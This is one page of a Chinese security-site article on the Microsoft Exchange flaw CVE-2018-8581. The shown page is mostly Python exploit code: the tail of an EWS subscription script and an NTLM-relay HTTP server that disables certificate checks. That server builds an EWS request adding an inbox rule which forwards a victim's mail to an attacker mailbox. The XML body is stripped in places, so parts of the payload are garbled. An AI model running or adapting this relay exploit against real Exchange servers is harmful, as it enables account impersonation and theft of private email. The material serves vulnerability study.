欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Microsoft Exchange任意用户伪造漏洞分析(CVE-2018-8581)

来源:本站整理 作者:佚名 时间:2018-12-25 TAG: 我要投稿
 
                     if print_debug_info:
                             print "\n[DEBUG]: Received response:"
                             print response.status, response.reason, '\n',response.msg, '\n', resp_data
                      
                     if response.status == 401:
                             print "\nAuthentication ERROR:"
                             print "Cannot authenticate '"+DOMAIN + "/" + USER + "' with password '" + PASS +"'"
 
       conn.close()
            
       print "\n\nThe Script is finished. \n"
     
       return 1
 
print "Address:\n %s:%u\n\n" %(PROTO+'://'+ip,tcp_port)
main(ip,tcp_port,PROTO)
serverHTTP_relayNTLM.py
#!/usr/bin/python
import socket
import sys
import struct
import base64
import httplib
import ssl
import binascii
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
 
 
#Port for the HTTP server
#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py
HTTPPORT = 8080
 
#You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS
target_ip='exch2016.contoso.local'
target_port = 443
PROTO='https'
#PROTO='http'
 
#Path to EWS
URL = "/EWS/Exchange.asmx"
 
#SMTP addresses of attacker mailbox (we will receive all emails sent to victim)
ATTACKER = "attacker@contoso.local"
 
VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"
 
#Debug flag:
print_debug_info = 1
 
try:
    _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
    # Legacy Python that doesn't verify HTTPS certificates by default
    pass
else:
    # Handle target environment that doesn't support HTTPS verification
    ssl._create_default_https_context = _create_unverified_https_context
     
#EWS request that will add inbound rule in victims mailbox
body = '''
 
   
    
   
'''+VICTIM_SID+'''
  
     '''+VICTIM_SID+'''
  
 
 
 
  
 
     
        true
       
         
           
              SomeRule
              1
              true
             
             
             
               
                
                         '''+ATTACKER+'''
                
               
             

上一页  [1] [2] [3] [4] [5] [6]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载